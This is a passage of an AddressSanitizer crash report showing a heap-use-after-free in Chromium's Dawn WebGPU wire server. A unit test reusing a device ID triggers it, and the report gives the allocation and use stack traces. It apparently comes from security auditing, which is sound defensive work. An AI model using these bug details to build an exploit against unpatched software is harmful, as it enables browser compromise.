dawn/utils/TerribleCommandBuffer.cpp:74:30
#4 0x558937672f20 in dawn::WireTest::FlushClient(bool) third_party/dawn/src/dawn/tests/
unittests/wire/WireTest.cpp:232:24
#5 0x558937665db9 in dawn::wire::(anonymous
namespace)::WireSpecificCommandTests_RequestDeviceIdReuseThenUncapturedErrorUsesFreedDevice
Info_Test::TestBody() third_party/dawn/src/dawn/tests/unittests/wire/
WireSpecificCommandTests.cpp:194:5
#6 0x558937f6ffc9 in testing::Test::Run() third_party/googletest/src/googletest/src/
gtest.cc
#7 0x558937f726d3 in testing::TestInfo::Run() third_party/googletest/src/googletest/
src/gtest.cc:2892:11
#8 0x558937f745e6 in testing::TestSuite::Run() third_party/googletest/src/googletest/
src/gtest.cc:3070:30
#9 0x558937f9f816 in testing::internal::UnitTestImpl::RunAllTests() third_party/
googletest/src/googletest/src/gtest.cc:6062:44
#10 0x558937f9e4aa in testing::UnitTest::Run() third_party/googletest/src/googletest/
src/gtest.cc
#11 0x55893893dafe in base::TestSuite::Run() base/test/test_suite.cc:440:16
#12 0x558937f2ffb0 in (anonymous namespace)::RunHelper(base::TestSuite*) gpu/
dawn_unittests_main.cc:17:22
#13 0x558937f303ea in base::internal::Invoker<base::internal::FunctorTraits<int (*&&)
(base::TestSuite*), base::TestSuite*>, base::internal::BindState<false, true, false, int
(*)(base::TestSuite*), base::internal::UnretainedWrapper<base::TestSuite,
base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, int
()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:673:12
#14 0x5589389604cd in base::OnceCallback<int ()>::Run() && base/functional/
callback.h:155:12
#15 0x55893895d854 in base::(anonymous
namespace)::LaunchUnitTestsInternal(base::OnceCallback<int ()>, unsigned long, int,
unsigned long, bool, base::RepeatingCallback<void ()>, base::OnceCallback<void ()>) base/
test/launcher/unit_test_launcher.cc:189:38
#16 0x55893895e07f in base::LaunchUnitTestsSerially(int, char**, base::OnceCallback<int
()>) base/test/launcher/unit_test_launcher.cc:347:10
#17 0x558937f2fdfd in main gpu/dawn_unittests_main.cc:31:12
#18 0x7fa224645249 (/lib/x86_64-linux-gnu/libc.so.6+0x27249) (BuildId:
6196744a316dbd57c0fd8968df1680aac482cec4)
previously allocated by thread T0 here:
#0 0x55893633429d in operator new(unsigned long) (/root/audit-agent/
projects/926066208cc345b4ae4b858d9ce323de/chromium/src/out/asan/dawn_unittests+0x125129d)
(BuildId: c855620a634a3685)
#1 0x558937f1e3dd in
dawn::wire::server::KnownObjectsBase<WGPUDeviceImpl*>::Allocate(dawn::wire::server::Reserve
d<WGPUDeviceImpl*>*, dawn::wire::ObjectHandle, dawn::wire::server::AllocationState) gen/
third_party/libc++/src/include/__memory/unique_ptr.h:756:26
#2 0x558937f1d039 in dawn::wire::WireResult
dawn::wire::server::ServerBase::Allocate<WGPUDeviceImpl*>(dawn::wire::server::Reserved<WGPU
DeviceImpl*>*, dawn::wire::ObjectHandle, dawn::wire::server::AllocationState) third_party/
dawn/src/dawn/wire/server/ObjectStorage.h:303:48
#3 0x558937f1c9b9 in
dawn::wire::server::Server::DoAdapterRequestDevice(dawn::wire::server::Known<WGPUAdapterImp
l*>, dawn::wire::ObjectHandle, WGPUFuture, dawn::wire::ObjectHandle, WGPUFuture,
WGPUDeviceDescriptor const*) third_party/dawn/src/dawn/wire/server/ServerAdapter.cpp:46:14
#4 0x558937e9b75a in
dawn::wire::server::Server::HandleAdapterRequestDevice(dawn::wire::DeserializeBuffer*) gen/
third_party/dawn/src/dawn/wire/server/ServerHandlers_autogen.cpp:14:18
#5 0x558937ea9cb5 in dawn::wire::server::Server::HandleCommands(char const volatile*,
unsigned long) gen/third_party/dawn/src/dawn/wire/server/ServerHandlers_autogen.cpp:1652:30
#6 0x5589388f7372 in dawn::utils::TerribleCommandBuffer::Flush() third_party/dawn/src/
dawn/utils/TerribleCommandBuffer.cpp:74:30
#7 0x558937672f20 in dawn::WireTest::FlushClient(bool) third_party/dawn/src/dawn/tests/
unittests/wire/WireTest.cpp:232:24
#8 0x558937665cf6 in dawn::wire::(anonymous
namespace)::WireSpecificCommandTests_RequestDeviceIdReuseThenUncapturedErrorUsesFreedDevice
Info_Test::TestBody() third_party/dawn/src/dawn/tests/unittests/wire/
WireSpecificCommandTests.cpp:188:5
#9 0x558937f6ffc9 in testing::Test::Run() third_party/googletest/src/googletest/src/
gtest.cc
#10 0x558937f726d3 in testing::TestInfo::Run() third_party/googletest/src/googletest/
src/gtest.cc:2892:11
#11 0x558937f745e6 in testing::TestSuite::Run() third_party/googletest/src/googletest/
src/gtest.cc:3070:30
#12 0x558937f9f816 in testing::internal::UnitTestImpl::RunAllTests() third_party/
googletest/src/googletest/src/gtest.cc:6062:44
#13 0x558937f9e4aa in testing::UnitTest::Run() third_party/googletest/src/googletest/
src/gtest.cc
#14 0x55893893dafe in base::TestSuite::Run() base/test/test_suite.cc:440:16
#15 0x558937f2ffb0 in (anonymous namespace)::RunHelper(base::TestSuite*) gpu/
dawn_unittests_main.cc:17:22
#16 0x558937f303ea in base::internal::Invoker<base::internal::FunctorTraits<int (*&&)
(base::TestSuite*), base::TestSuite*>, base::internal::BindState<false, true, false, int
(*)(base::TestSuite*), base::internal::UnretainedWrapper<base::TestSuite,
base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, int
()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:673:12
#17 0x5589389604cd in base::OnceCallback<int ()>::Run() && base/functional/
callback.h:155:12
#18 0x55893895d854 in base::(anonymous
namespace)::LaunchUnitTestsInternal(base::OnceCallback<int ()>, unsigned long, int,
unsigned long, bool, base::RepeatingCallback<void ()>, base::OnceCallback<void ()>) base/
test/launcher/unit_test_launcher.cc:189:38
#19 0x55893895e07f in base::LaunchUnitTestsSerially(int, char**, base::OnceCallback<int
()>) base/test/launcher/unit_test_launcher.cc:347:10
#20 0x558937f2fdfd in main gpu/dawn_unittests_main.cc:31:12
#21 0x7fa224645249 (/lib/x86_64-linux-gnu/libc.so.6+0x27249) (BuildId:
6196744a316dbd57c0fd8968df1680aac482cec4)
SUMMARY: AddressSanitizer: heap-use-after-free base/allocator/partition_allocator/src/
partition_alloc/pointers/raw_ptr.h:1012:48 in
dawn::wire::server::Server::DoAdapterRequestDevice(dawn::wire::server::Known<WGPUAdapterImp
l*>, dawn::wire::ObjectHandle, WGPUFuture, dawn::wire::ObjectHandle, WGPUFuture,
WGPUDeviceDescriptor const*)::$_0::__invoke(WGPUDeviceImpl* const*, WGPUErrorType,
WGPUStringView, void*, void*)
Shadow bytes around the buggy address:
0x7bc223716c80: fa fa 00 00 fa fa fd fd fa fa fd fd fa fa fd fd
0x7bc223716d00: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fd
0x7bc223716d80: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa
=>0x7bc223716f00: fa fa[fd]fd fa fa fd fa fa fa fd fa fa fa fd fd
0x7bc223716f80: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fa
0x7bc223717000: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x7bc223717080: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fd
0x7bc223717100: fa fa 00 00 fa fa fd fa fa fa fd fa fa fa fd fd
0x7bc223717180: fa fa fd fa fa fa 00 00 fa fa 00 00 fa fa fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==697999==ADDITIONAL INFO
==697999==Note: Please include this section with the ASan report.
Task trace:
==697999==END OF ADDITIONAL INFO
==697999==ABORTING